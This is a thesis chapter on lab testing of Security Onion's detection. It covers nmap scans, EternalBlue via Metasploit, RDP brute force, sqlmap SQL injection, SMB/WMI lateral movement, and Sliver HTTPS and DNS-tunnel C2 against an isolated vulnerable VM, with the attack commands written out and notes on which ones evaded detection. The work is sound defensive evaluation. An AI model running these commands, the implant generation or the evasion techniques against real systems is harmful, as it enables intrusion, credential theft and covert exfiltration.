\chapter{Attack Simulations and Detection}

\section{Introduction}
This chapter outlines the testing phase of the Security Onion, during which multiple attack scenarios were crafted as well as implemented against a deliberately vulnerable machine to ascertain the detection prowess of Security Onion. It was to simulate various prevalent adversarial activities, stages ranging from reconnaissance, exploitation, up to credential attacks. Then the process that entailed verification regarding such activities being captured, detected, as well as correlated through the ensemble of instruments included, i.e., Suricata as well as Zeek, was an essential milestone to this research work.
\medskip \newline
Attack simulations were conducted utilizing a specialized virtualized test environment. A Kali Linux system was set up as the attacking entity, thereby offering access to a comprehensive suite of penetration testing and offensive security tools. In contrast, a Windows 7 virtual machine was deliberately configured to exhibit vulnerabilities to various known exploits, functioning as the target for the attacker. To facilitate communication between these two endpoints, particular firewall policies were established at the hypervisor level. This configuration ensured that attack traffic could transit freely between the attacker and the victim while remaining segregated from the production network. This arrangement embodies a white-box testing methodology, as both the target and the attacker were maintained under the researcher’s supervision, and the foundational configuration of the environment was entirely understood and systematically modified to enhance the testing process.
\medskip \newline
Each attack is documented following a consistent structure.
\begin{itemize}
    \item Attack context and target;
    \item How to launch the attack from Kali Linux, mentioning tools and commands;
    \item Detection overview: fired Suricata signatures, Zeek loggings, and how these events were correlated across both capture engines;
    \item Detection effectiveness analysis: logged activity precision, presence of noise or false positives, overall traffic coverage.
\end{itemize}

\subsection{Configuration of the Vulnerable Windows 7 Target}
In order to develop a controlled test environment that provided a semblance of realism to it, a vulnerability was injected into a Windows 7 virtual machine. This configuration was done following the method provided by Andrey Pautov in his Medium write-up  \cite{pautov2024-vulnerable-windows-vm}.
\newline
Pautov's guide presents an emphasis of running experiments inside a segregated and safe network environment through utilization of virtualization methods to simulate real attack surfaces without negatively affecting production systems \cite{pautov2024-vulnerable-windows-vm}. The process included:
\begin{enumerate}
  \item Beginning from a patched and up-to-date Windows 7 Virtual Machine.
  \item By employing a customized script to dynamically undo security patches, it is possible to revert the system to a pre-existent patch status through a mechanism of "rewinding" its patch vulnerability timeline \cite{pautov2024-vulnerable-windows-vm}.
  \item Utilizing system snapshots or rollback functions to preserve repeatability; every revert brings the VM to a known vulnerable configuration so that it is consistent in many tests.
\end{enumerate}
This approach has several merits:
\begin{itemize}
  \item It facilitates oversight of the vulnerability landscape, allowing for precise testing of particular CVEs or configurations.
  \item This procedure is \textbf{reproducible} such that screenshots and scripts can be used to bring the virtual machine to the same condition before each attack situation.
  \item As already indicated, it places it into a white-box testing environment where the researcher has thorough knowledge as well as control of attacking as well as target environments.
\end{itemize}
In including this approach as part of the research design, the chapter presents a strong emphasis on precision and intentional control of the experiments. It abstains from relying on standardized widely generalizable vulnerable images and instead selects a highly controlled setting, thus bolstering the scientific rigidity of the overall attack simulations.
\clearpage

\section{Basic Port Scanning (Nmap)}

\subsection*{Objective}
Evaluate Security Onion's ability to detect standard reconnaissance activity by executing an aggressive Nmap scan against the monitored Windows~7 host and assessing Suricata alerts and Zeek logging evidence.

\subsection*{Scenario Context}
Network and service discovery are often the first steps an adversary takes when targeting an entity. Timely detection of this reconnaissance enables rapid containment and reduces attackers' "playtime". This test focuses on whether Security Onion (Suricata + Zeek) surfaces both protocol-specific indicators and high-speed connection patterns typical of automated scans.

\subsection{Attack Simulation Steps and Results in Security Onion}
\paragraph{Step 1: Environment Preparation}
\textbf{Target}: Windows~7 VM (configured as vulnerable in a controlled, isolated lab). Firewall policies between the two VMs were explicitly opened to allow bidirectional communication on common service ports (e.g., TCP/22, 80, 3389).\\
\textbf{Attacker}: Kali Linux.

\paragraph{Step 2: Execute the Port Scan}
\begin{verbatim}
nmap -v -A -T4 -p 1-1000 [TARGET_IP]
\end{verbatim}
\noindent Options: verbose (\texttt{-v}), aggressive scan (\texttt{-A}: OS \& version detection, NSE scripts, traceroute), faster timing (\texttt{-T4}), top 1000 TCP ports (\texttt{-p 1-1000}).

\paragraph{Suricata Alerts Observed}
\begin{itemize}
  \item Remote Desktop Protocol (RDP) Scan activity signs, showing server responses to attempts of external probing.
  \item Evidence of probing against Microsoft SQL services on non-standard ports.
  \item Detection of rare or unusual middleware protocols, like CORBA/GIOP and Java RMI, along with strict service enumeration.
  \item Behavioral detection revealed exceedingly fast connection tries to terminal services, typical of automated scans or worm-like behavior.
\end{itemize}

\paragraph{Zeek Evidence}
\begin{itemize}
  \item \texttt{conn.log}: Several short-lived TCP streams to RDP (3389/TCP) w/ reset states; connection bursts w/ small payload exchanged.
  \item The correlation IDs confirmed consistency between Suricata alerts and Zeek connection logs such that two types of telemetry and signatures were correlated to the same flows.
  \item Service logs (if available): RDP protocol identified properly on probed traffic; no successful sessions initiated.
\end{itemize}

\subsection*{Analysis}
The aggressive Nmap scan produced a combination of protocol-specific detections (RDP, MSSQL, Java-based services) and behavioral detections based on connection rate. This outcome reflects the design of aggressive Nmap options, where service probes are characterized by distinctive responses and unusual traffic patterns. Zeek’s metadata reinforced the validity of this depicted scenario by revealing a large number of outbound connections and their short duration.

\subsection{Summary Statement}
Security Onion successfully exposed basic reconnaissance attempts: Suricata identified unusual probing activity that covered multiple protocols, while Zeek recorded the repetitive nature of the traffic. The combination provided high-confidence detection of early-phase attacker behavior.

\subsection{Variant: Low-and-Slow SYN Scan}
A stealthier probe was executed to test the evasion of detection thresholds:
\begin{verbatim}
nmap -v -sS -f --scan-delay 2.5s --max-retries 1 -T1 -p 1-1000 [TARGET]
\end{verbatim}
No alerts were triggered in Suricata under this configuration, but Zeek still logged the activity in \texttt{conn.log}. This shows that low-and-slow scans may evade threshold-based detection but can still be uncovered retrospectively using metadata analysis.
\clearpage

\section{Known Exploit Attempt (MS17-010 EternalBlue)}

\subsection*{Objective}
Assess Security Onion's capability to detect and respond effectively to attempts of exploiting known vulnerabilities using common, easily identifiable exploits.

\subsection*{Scenario Context}
The EternalBlue exploit (CVE-2017-0144) is among the most infamous exploits in modern history, as it allows remote code execution by employing the SMBv1 protocol. Mimicking this attack provides useful insights into how Security Onion detects the exploitation phase (malicious SMB traffic) and consequently evaluates its effectiveness to detect important threats found in real-world scenarios.

\subsection{Attack Simulation Steps and Results in Security Onion}
\paragraph{Step 1: Environment Preparation}
\textbf{Target}: a deliberately unpatched Windows 7 VM that is vulnerable to MS17-010, sitting in Security Onion's monitored network segment.\\ \textbf{Attacker}: Kali Linux and Metasploit installed.

\paragraph{Step 2: Vulnerability Scan}
An initial test was done to make sure the vulnerability exists:
\begin{verbatim}
nmap -Pn --script smb-vuln-ms17-010 [TARGET_IP]
\end{verbatim}
This scan found that the host is possibly vulnerable and suitable to exploit.

\paragraph{Step 3: Exploit Execution}
The EternalBlue exploit has been launched through Metasploit:
\begin{verbatim}
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOST [TARGET_IP]
set LHOST [ATTACKER_IP]
run
\end{verbatim}

\paragraph{Suricata Alerts Observed}
\begin{itemize}
  \item One high-severity alert clearly showing detection of an attempt to exploit against EternalBlue by means of SMB traffic on port 445.
  \item The report signified this as a variant of the "M2" exploitation technique, thus confirming recognition of a distinct payload architecture of the exploit.
\end{itemize}

\paragraph{Zeek Evidence}
\begin{itemize}
  \item \texttt{conn.log} documented a TCP session occurring between the perpetrator and the target on port 445, identified as SMB.
  \item The connection enabled the flow of a considerable amount of information from the offender, which approximated about 67 KB, while the server reply included only a few hundred bytes.
  \item The session took about 10 seconds when it abruptly ended by the responder without a warning, its status changing to \texttt{RSTR} (reset).
  \item \texttt{ShADdaFr} connection history flags confirmed successful handshake, data exchange, and unexpected termination with reset.
\end{itemize}

\subsection*{Analysis}
Security Onion provided a clear identification of an attempt to exploit the EternalBlue vulnerability. Suricata provided a single high-confidence alert that is explicitly correlated to SMB exploitation and therefore ruled out all doubts about the activity type. Zeek supplemented this alert by providing connection-level anomalies: large client payloads, small server responses, and an unexpected reset that happens after about ten seconds. These qualities are consistent with those of exploit delivery attempts and thus confirmed Suricata results through network-based autonomous telemetry.

\subsection{Summary Statement}
The EternalBlue exploit simulation was effectively detected. Suricata raised a high-severity alert specific to the exploit, while Zeek \texttt{conn.log} entries revealed abnormal SMB session behavior aligned with the alert. This confirmation from both services demonstrates Security Onion ability to reliably identify and contextualize the exploitation of high-profile vulnerabilities.
\clearpage

\section{Brute Force RDP Login Attempts}

\subsection*{Objective}
Assess Security Onion’s capability to detect and respond effectively to RDP brute-force login attempts utilizing automated attack tools.

\subsection*{Scenario Context}
RDP brute force is a typical approach to achieving illegitimate access through constant automated attempts of credentials. This exercise is to determine if Security Onion brings to light detection that indicate repeated, automated RDP connection and authentication efforts.

\subsection{Attack Simulation Steps and Results in Security Onion}
\paragraph{Step 1: Environment Preparation}
\textbf{Target (Windows 7).} Enabled RDP and accessible on TCP/3389; default/weak passwords used to facilitate simulation.\\
\textbf{Attacker (Kali Linux).} The attack can be conducted through Hydra or Medusa installed, using prepared username and password lists.

\subsubsection*{Step 2: Execute the RDP Brute-Force Attack}
\textbf{Hydra}
\begin{verbatim}
hydra -V -L users.txt -P passwords.txt rdp://[TARGET_IP]
\end{verbatim}
\textbf{Medusa}
\begin{verbatim}
medusa -h [TARGET_IP] -U users.txt -P passwords.txt -M rdp
\end{verbatim}

\paragraph{Suricata Alerts Observed}
\begin{itemize}
  \item Anomaly indicator of excessively rapid RDP connection attempts (outbound), typical of automated scanning/brute-force activity.
  \item SYN-then-RESET pattern on RDP indicates denial-of-service-like traffic; in this situation, consistent with brute-force tooling's aggressive retry/reset behavior.
  \item Signature of RDP enumeration by a network scanner; it is not distinctive of brute-force action and might be irrelevant if a scanner had been previously run.
  \item Informative notification of RDP service in reply to an external client; This by itself is insufficient to make a brute-force statement but validates RDP connectivity.
\end{itemize}

\paragraph{Zeek Evidence}
\begin{itemize}
  \item \texttt{conn.log} records on TCP/3389 indicated highly short-lived connections with reset terminations (\texttt{RSTR}, \texttt{RSTO}) and small payloads that correspond to fast automated connection attempts.
  \item One of the identified connections is RDP over TLS (\texttt{service: ssl}) that transferred a couple of kilobytes. An immediate responder reset subsequently took place in a matter of a few milliseconds; another revealed originator reset shortly upon SYN/ACK.immediately after SYN/ACK.
  \item ID correlation between Suricata alert and corresponding conn.log entries on 3389/TCP.
\end{itemize}

\subsection*{Analysis}
Security Onion detected the bruteforce activity primarily through behavioral detections that included brief RDP connection frequencies and an abundance of reset-rich connection patterns. SYN-then-RESET detection provides a clearer understanding of thorough automated retry attempts. While scanner-style alerts and informational messages might appear in conjunction with bruteforce testing, they are without meaning alone; in this example, connection states and timing information from Zeek provide the necessary context to associate the activity with automated login attempts.

\subsection{Summary Statement}
The RDP brute-force simulation was effectively highlighted by Security Onion via behavioral alerts and Zeek evidence of rapid, reset-terminated connections on 3389/TCP. Although scan-like and informational detections may occur together, the combined behavioral and flow-level context is sufficient to identify automated brute-force activity.
\clearpage

\section{SQL Injection via HTTP GET Request (DVWA)}

\subsection*{Objective and Scenario Context}
Assess Security Onion's effectiveness in detecting SQL injection against a deliberately vulnerable web application (DVWA \cite{DVWA}). The focus is on visibility and alerts triggered by malicious HTTP requests observed during the exercise.

\subsection{Attack Simulation Steps and Results in Security Onion}

\paragraph{Attack Steps}
\begin{itemize}
  \item Target: DVWA reachable over HTTP on port 80.
  \item Attacker: Automated SQLi using \texttt{sqlmap}.
  \item Example command used:
\begin{verbatim}
sqlmap -u "http://<Target_IP>/vulnerable_page.php?id=1" --dbs
\end{verbatim}
  \item Manual-style payloads were also issued via crafted GET requests.
\end{itemize}

\paragraph{Suricata alerts Observed}
\begin{itemize}
  \item ET WEB\_SERVER SQL Injection Select Sleep Time Delay.
  \item ET WEB\_SERVER MYSQL Benchmark Command in URI to Consume Server Resources.
  \item ET WEB\_SERVER Possible MySQL SQLi Attempt Information Schema Access.
  \item ET WEB\_SERVER Possible Attempt to Get SQL Server Version in URI using SELECT VERSION.
  \item ET WEB\_SERVER Possible SQL Injection SELECT CAST in HTTP URI.
  \item ET INFO Reserved Internal IP Traffic.
\end{itemize}

\paragraph{Zeek Evidence}
\begin{itemize}
  \item Traffic to DVWA endpoint was captured and requests were identified by Zeek as \texttt{http.log}.
  \item The user agent string had a resemblance with an auto SQL injection tool and thus indicated probable bot activity.
  \item A number of such requests were marked suspect by Zeek as they contained SQL commands in the URI, such as time delays, schema calls to a database, or else if statements.
  \item Connection metadata from \texttt{conn.log} confirmed short-lived client–server communications during automated enumeration and probing.
  \item Zeek's correlating of those HTTP requests against connection records provided context that linked suspected payloads to their source host.
\end{itemize}

\subsection*{Analysis}
We can see evident SQL-injective activity against DVWA from \texttt{sqlmap}. There are numerous Suricata events of web-application attacks that correspond to the identified payload classes (time delays through \texttt{SLEEP/PG\_SLEEP}, resource-usage through \texttt{BENCHMARK()}, schema enumeration through \texttt{INFORMATION\_SCHEMA}, version identification through \texttt{SELECT VERSION()}, and payloads containing \texttt{CAST}). These are verified by Zeek HTTP records by explicit URIs and a \texttt{sqlmap} user agent. Verification of timestamps, 5-tuples, and \texttt{community\_id} cross-checks validates correspondence of Suricata events to Zeek records of the same transactions. There is a single non-SQLi informational event (reserved internal IP traffic) witnessed on the same streams.

\subsection{Summary Statement}
Security Onion properly identified and captured the SQL injection attack against DVWA. Suricata produced timely and correct web-application attack alerts against a number of different payload types, and Zeek provided HTTP-layer context (URIs, user agent, tags) that validates and augments the alert context.
\clearpage

\section{Malicious DNS Queries}

\subsection*{Objective}
Evaluate Security Onion’s ability to surface and contextualize DNS requests to known malicious or suspicious domains indicative of phishing or command-and-control infrastructure.

\subsection*{Scenario Context}
DNS is usually employed by attackers to resolve domains used for malware communication, data exfiltration, or phishing infrastructure. This scenario explores DNS lookups to suspicious domains from a monitored client, to observe Security Onion detection and context.

\subsection{Attack Simulation Steps and Results in Security Onion}

\paragraph{Attack steps.}
\begin{itemize}
  \item Run a script designed to trigger DNS lookups against a list of suspicious domains.
\end{itemize}

\subsubsection*{Suricata Alerts Observed}
Among the multiple tested domains, here only one is provided, as this scenario generated similar results across multiple logs.
\begin{itemize}
  \item ET PHISHING E-Z Pass Phishing Domain (e-zpasslus.com) in DNS Lookup.
\end{itemize}

\paragraph{Zeek Evidence}
\begin{itemize}
  \item Zeek flagged a UDP/53 DNS transaction from the test client to a public resolver, classifying it as \texttt{dns.log}.
  \item The looked up domain matched a known phishing indicator; Zeek bound the request and response within a single transaction UID and linked it to a short-lived connection in \texttt{conn.log}.
  \item The DNS response contained A records for the queried domain, confirming successful resolution and providing concrete destination IPs for follow-up scoping.
  \item Timing and the network 5-tuple (client IP, resolver IP, ports, protocol) aligned across Zeek and Suricata, enabling straightforward cross-correlation.
\end{itemize}

\subsection*{Analysis}
The environment produced a clear, single-domain detection: a phishing-related DNS lookup for \texttt{e-zpasslus.com}. Suricata flagged the lookup as suspicious, while Zeek provided transaction context (client, resolver, request/response linkage, and returned IPs). Taken together, this establishes both the \emph{intent} (lookup of a known phishing domain) and the \emph{effect} (successful resolution), which are sufficient for triage and scoping of potential subsequent traffic.

\subsection{Summary Statement}
A scripted DNS query to a known phishing domain was \emph{detected} by Suricata (medium severity) and \emph{contextualized} by Zeek, which logged the request/response pair and associated connection metadata. The combined evidence supports rapid triage, relevance to the originator, and enrichment with resolved IPs for containment.
\clearpage

\section{Suspicious File Downloads (e.g., EICAR Test File)}

\subsection*{Objective}
Evaluate Security Onion’s ability to detect and generate alerts when suspicious or malicious files (such as the EICAR test file) are downloaded over the network, and to provide sufficient context for triage via Zeek telemetry.

\subsection*{Scenario Context}
The distribution of malware often commences with a small executable downloaded by HTTP(S). By invoking harmless test malware transfers (e.g., EICAR) or legitimate test binaries, we can determine if Suricata detects the activity and if so, if Zeek augments it with additional file and HTTP metadata (such as method, host, MIME type, size, and hashes).

\subsection{Attack Simulation Steps and Results in Security Onion}

\paragraph{Attack steps.}
\begin{itemize}
\item A monitored client fetched a benign test executable over \texttt{HTTP} using command-line tooling (\texttt{curl}/\texttt{wget}) from a public endpoint (e.g., \texttt{testmynids.org} or an EICAR hosting path).%
\item An analogous pull over \texttt{HTTPS} was attempted to confirm visibility limitations under encryption (no TLS decryption in place).
\end{itemize}

\paragraph{Suricata Alerts Observed}
\begin{itemize}
\item \textbf{ET INFO curl User-Agent Outbound} (UA indicates scripted/non-browser fetch).
\item \textbf{ET INFO exe download via HTTP — Informational} (URI contains \texttt{.exe}).
\item \textbf{ET INFO PE EXE or DLL Windows file download HTTP} (PE header \texttt{MZ}/\texttt{PE} in body).
\item \textbf{ET INFO Executable served from Amazon S3} (server header/content characteristics).
\item \textbf{ET INFO Binary Download Smaller than 1 MB Likely Hostile} (size heuristic for small binaries).
\end{itemize}
\emph{Note:} If the canonical EICAR string is transferred in cleartext, \textbf{ET POLICY EICAR Test File Download Detected} may also trigger. In this environment, generic executable-download rules were the primary hits.

\paragraph{Zeek Evidence}
\begin{itemize}
\item \textbf{\texttt{http.log}} recorded the transaction including method, host (e.g., testmynids.org), URI of the request (path to executable), response 200 OK, MIME type (application/x-dosexec and response size (Content-Length).
\item \textbf{\texttt{files.log}} linked the reply FUID to file information (size, MIME, Source/destination tuple) and calculated hashes (MD5/SHA256) that suit reputation lookups or verification against known EICAR hashes.
\item \textbf{\texttt{conn.log}} saved the correlated TCP flow (5-tuple, bytes/packets, duration) to enable correlation to Suricata alerts by time stamps and community ID.
\item Cross-artifact linkage (\texttt{uid} and \texttt{fuid}) allowed pivoting from the HTTP event to the file object and back, providing end-to-end provenance for the downloaded binary.
\item The matching HTTPS attempt only produced TLS session metadata (no URI/body visibility) since TLS decryption was not enabled; accordingly, Suricata signature coverage on that path was limited.
\end{itemize}

\subsection*{Analysis}
The HTTP pull generated a predictable chain of detections and context. Suricata identified prominent signs of scripted executable transfer (command-line UA, .exe in URI, PE headers, small-binary heuristic, and S3 hosting fingerprint). Zeek provided authoritative transaction information and permanent file identifiers/hashes. Collectively, these artifacts evidence both intent (explicit fetching of an executable) and effect (successful delivery of a PE payload), supporting rapid scoping (who downloaded, what was fetched, how large, from where) and downstream containment remedies (hash-based blocks, S3 bucket scoping). The HTTPS test reiterated the requirement of TLS inspection or endpoint telemetry to preserve equal detection depth under encryption.

\subsection{Summary Statement}
A scripted HTTP download of a harmless test executable (EICAR/test binary) was identified through Suricata by a set of executable-download and user-agent signatures that were then contextualized by Zeek through HTTP metadata and file hashes. This combined evidence allows timely classification, source attribution, as well as hash/IP enrichment for containment. An HTTPS variant produced limited visibility that is why decryption of TLS or use of an EDR/DPI solution is required to detect encrypted channels.
\clearpage

\section{Lateral Movement Using SMB/WMI}

\subsection*{Objective}
Evaluate Security Onion’s capability to detect and contextualize lateral movement using Windows administrative protocols (SMB and WMI), including authentication attempts, administrative share access, and remote command execution.

\subsection*{Scenario Context}
After initial access is established, attackers frequently employ SMB/WMI to authenticate to peer systems, to list resources, to drop binaries/scripts, and to execute commands (e.g., via PsExec- or wmiexec-like techniques). This results in authenticated SMB/WMI traffic from a session-hosted client to an internal Windows endpoint to monitor detections and additional telemetry.

\subsection{Attack Simulation Steps and Results in Security Onion}

\paragraph{Attack steps.}
\begin{itemize}
  \item From a controlled attacking host, executed authenticated remote actions using Impacket (\texttt{wmiexec.py}) and CrackMapExec against a Windows target.
  \item Performed typical lateral-movement behaviors: negotiated SMB session, accessed \texttt{IPC\$} and \texttt{C\$} shares, and triggered remote command execution.
\end{itemize}

\paragraph{Suricata Alerts Observed}
\begin{itemize}
  \item \textbf{ET INFO Outbound SMB Protocol Request to External Address} (scope check for unexpected SMB egress).
  \item \textbf{ET INFO Potentially Unsafe SMBv1 Protocol in Use} (legacy protocol usage).
  \item \textbf{ET INFO Outbound SMB NTLM Auth Attempt to External Address} (credential exposure/relay risk).
  \item \textbf{ET INFO Outbound SMB2 NTLM Auth Attempt to Internal Address} (internal credential flow).
  \item \textbf{ET INFO SMBv2 Protocol [Negotiation/Session/Tree/Read/Write]} (behavioral visibility).
  \item \textbf{ET INFO Command Shell Activity Using ComSpec Over SMB – Very Likely Lateral Movement} (remote command execution).
  \item \textbf{GPL NETBIOS SMB-DS IPC\$ Share Access} (session setup/enumeration).
  \item \textbf{GPL NETBIOS SMB-DS C\$ Share Access} (administrative share usage).
\end{itemize}

\paragraph{Zeek Evidence}
\begin{itemize}
  \item \textbf{Context of connection} in \texttt{conn.log}: SMB/TCP connections between target host and originating client that have stable 5-tuple, timing and connection statuses which correspond to the alerts.
  \item \textbf{SMB protocol details} in \texttt{smb.log}/\texttt{smb2.log}: negotiation and session setup (NTLM), \texttt{TreeConnect} to \texttt{IPC\$} and \texttt{C\$}, and subsequent file/pipe activity characteristic of remote administration.
  \item \textbf{SMB files/objects} in \texttt{smb\_files.log}: open operation on administrative paths and service/pipe ends (e.g., \texttt{\textbackslash{}\textbackslash svcctl}) that are characteristic of PsExec/wmi.
  \item \textbf{DCE/RPC metadata} in \texttt{dce\_rpc.log}: control and management RPCs that often come later in remote execution sequences.
  \item \textbf{Cross-correlation readiness}: shared UIDs/Community IDs and matching timestamps across Zeek and Suricata facilitate stitching authentication, share access, and command execution into a single activity thread.
\end{itemize}

\subsection*{Analysis}
The detection set is a cohesive progression: session establishment of SMB sessions, NTLM authentication, access to \texttt{IPC\$}/\texttt{C\$}, and specific markers of remote command execution (ComSpec over SMB). Zeek augments Suricata alerts with protocol semantics (session setup, tree connects, file/pipe opens, DCE/RPC calls) so that lateral-movement behavior can be reliably attributed as opposed to benign administrative activity. Sigma rules (e.g., malicious named pipes) can also affirm post-exploitation execution on the target.

\subsection{Summary Statement}
A valid SMB/WMI lateral-movement attempt was detected by Suricata (exec/cred/prot indicators) and contextualized by Zeek (SMB/DCE-RPC metadata and share/pipe activity). The cumulative evidence justifies immediate triage, proper host attribution, and scoping of follow-on action for containment and response.

\clearpage

\section{Undetected Attack Scenarios: Encrypted C2 and DNS Tunneling}

\subsection*{Introduction to Sliver}
Sliver is an open-source Command and Control (C2) framework developed by Bishop Fox, designed as a modern alternative to traditional tools such as Metasploit or Cobalt Strike. It provides operators with implants (payloads) capable of encrypted and covert communication, supporting multiple protocols including HTTPS, mTLS, and DNS \cite{Rydzak2022Sliver}. 
For this evaluation, Sliver was chosen to simulate advanced post-exploitation techniques within the monitored environment. 
The implant phase was conducted manually on the victim Windows VM, under the assumption that the initial beacon installation occurred without raising alerts. 
The subsequent activities focused on covert communication and data exfiltration.

\subsubsection*{Establishment of Command \& Control}
In laboratory settings, the configuration is optimized:
\begin{itemize}
  \item Run Sliver installation on Kali from an individual command:
    \texttt{curl https://sliver.sh/install | sudo bash}.  
  \item Start the C2 interface by using the \texttt{sliver} command.  
  \item Optionally fill out extra modules from \texttt{armory install all}. 
  \item Create an HTTPS listener:  
    \texttt{sliver > https <C2-IP> --lhost -D}.  
  \item Set up a beacon (e.g., .exe implant) to utilize HTTP(S):
    \texttt{sliver > generate beacon --http http://<C2-IP> --os windows --save implant.exe}.  
  \item Manually execute and operate the implant on the Windows VM as an undetected post-exploitation beacon.
\end{itemize}
Similarly, a DNS C2 can be installed when a DNS infrastructure and a DNS listener are added.

\subsection{Encrypted Malware Communication (C2)}

\subsection*{Objective}
Test Security Onion’s ability to detect encrypted command-and-control traffic (HTTPS-based) established by Sliver implants.

\subsection*{Scenario Context}
Modern malware utilizes TLS/HTTPS protocol to mask beaconing traffic to evade detection. This environment emulates this activity, where the compromised asset contacts the attacker-controlled server through an encrypted communications pathway.

\subsection{Attack Simulation Steps and Results in Security Onion}

\paragraph{Attack steps.}
\begin{itemize}
  \item It was set to utilize an HTTPS listener on port 4443.
  \item A beacon that is manually seeded into a Windows virtual machine facilitated encrypted communications to the attacker server.
\end{itemize}

\subsubsection*{Suricata Alerts Observed}
\begin{itemize}
  \item No C2 activity alerts were triggered by Suricata.
  \item Found only an unusual HTTP-over-nonstandard-port alert (4443) that is not a definitive sign of malicious C2.
\end{itemize}

\paragraph{Zeek Evidence}
\begin{itemize}
  \item Zeek \texttt{ssl.log} entries recorded TLS handshakes from target to attacker server.
  \item Events were recorded in \texttt{conn.log} signifying unusual encrypted sessions from the internal client to the external server through port 4443.
\end{itemize}

\subsection*{Analysis}
The encrypted C2 traffic evaded detection from typical Suricata rules. Zeek captured the sessions but without decryption or JA3 fingerprinting heuristics they look like typical TLS flows. This is a weakness of Security Onion against encrypted post-exploit traffic without DPI

\subsection{Summary Statement}
An HTTPS-based Sliver beacon remained undetected by Suricata. Only generic connection metadata in Zeek highlighted the unusual port usage. Effective detection would require integration with EDR/DPI solutions.

\subsection{Data Exfiltration via DNS Tunneling}

\subsection*{Objective}
Assess Security Onion’s ability to detect covert data exfiltration through DNS tunneling using the Sliver command-and-control framework.

\subsection*{Scenario Context}
DNS tunneling encodes data into DNS queries and responses, allowing attackers to bypass perimeter controls. In this scenario, Sliver was configured with a DNS listener, and a manually implanted beacon on the Windows client established communication to exfiltrate data through DNS.

\subsection{Attack Simulation Steps and Results in Security Onion}

\paragraph{Attack steps.}
\begin{itemize}
  \item A Sliver DNS listener set up on an attacker-controlled machine.
  \item The compromised Windows client, along with a Sliver implant, established an undetectable tunnel by virtue of DNS queries to the attacker's infrastructure, thus emulating data exfiltration.
\end{itemize}

\subsubsection*{Suricata Alerts Observed}
\begin{itemize}
  \item No anomalies were caused by tunneling or strange DNS activity.
\end{itemize}

\paragraph{Zeek Evidence}
\begin{itemize}
  \item Zeek recorded a lone DNS exchange between attack and target infrastructure.
  \item No unusual patterns were discovered relating to frequency, size of the payload, or query patterns.
\end{itemize}

\subsection*{Analysis}
The DNS tunneling conducted with Sliver went undetected. Standard Suricata rules did not surface the exfiltration, and Zeek logs only recorded minimal DNS activity without flagging tunneling behavior. Detection of such covert channels would require the use of DPI, spotting anomalous query patterns, such as unusually long domain names, excessive use of subdomains, or suspicious traffic volumes and periodicity. More advanced detection relies on entropy analysis, query frequency baselines, and specialized signatures.

\subsection{Summary Statement}
No notable detection activity ensued from DNS tunneling activity in Security Onion. No distinction of malicious from legitimate DNS activity could be identified by Suricata nor by Zeek. This is to affirm that DPI and advanced analytics have a part to play in uncovering stealth exfiltration techniques.

\section{Summary}
Nine representative attack scenarios were executed against the vulnerable Windows 7 virtual machine to validate detection potential of Security Onion. These attacks replicated typical adversarial activity and were compared against Suricata alerts as well as against Zeek evidence.

\subsection*{Detected Scenarios}
\begin{itemize}
  \item \textbf{Basic Port Scanning (Nmap):} Aggressive scans activated protocol-dependent Suricata alerts (RDP, MSSQL, Java RMI, CORBA) that were confirmed through Zeek connection metadata. Scans that maintained a low profile evaded Suricata thresholds but appeared in \texttt{conn.log}.
  \item \textbf{Known Exploit (EternalBlue / MS17-010):} Suricata generated a high-severity notification, and verified anomalous activity within the SMB session through Zeek logs (substantial client data transmissions, limited server responses, sudden resets).
  \item \textbf{RDP Brute Force:} Behavior indicated by Suricata (quick SYN/RESET on 3389/TCP). Zeek validated many short-lived connections, typical of automated login attempts.
  \item \textbf{SQL Injection (DVWA):} Suricata produced several accurate SQLi alerts. Zeek HTTP logs enriched context with URIs, suspicious SQL keywords, and the sqlmap user-agent.
  \item \textbf{Malicious DNS Queries:} Phishing-related searches (e.g. e-zpasslus.com) were picked up by Suricata, while transaction-level information and cross correlation against alerts were given by.
  \item \textbf{Suspicious File Downloads (EICAR test binary):} Identified by Suricata scripted downloadable executables (\texttt{curl}/\texttt{wget}, \texttt{.exe} URIs, PE headers). Zeek logged complete HTTP transaction information and file hashes. Attempts to access HTTPS remained undetected because of encryption.
  \item \textbf{Lateral Movement via SMB/WMI:} Suricata generated alerts for insecure SMBv1, NTLM authentication, access to shares, and remote code execution. Zeek provided SMB/DCE-RPC context and verification of access to \texttt{IPC\$}/\texttt{C\$} shares and malicious pipe usage.
\end{itemize}

\subsection*{Undetected Scenarios}
\begin{itemize}
  \item \textbf{Encrypted Malware Communication (Sliver C2 over HTTPS):} No critical alerts were generated by Suricata, besides generic HTTP-over-non-standard port. TLS sessions alone were recorded by Zeek without deep inspection.
  \item \textbf{Data Exfiltration via DNS Tunneling (Sliver):} No alert was triggered by Suricata. Zeek recorded no notable DNS activity, without indicating any tunneling action. This stealthy tunnel completely remained unacknowledged.
\end{itemize}

\subsection*{Overall Findings}
Security Onion’s Suricata and Zeek combination effectively detected reconnaissance, exploitation, brute force, web application attacks, phishing DNS, malicious file downloads, and lateral movement activity. However, encrypted or covert channels such as HTTPS C2 and DNS tunneling bypassed detection. This underlines the necessity of Deep Packet Inspection (DPI), anomaly-based analysis, or advanced entropy heuristics to capture these classes of threats.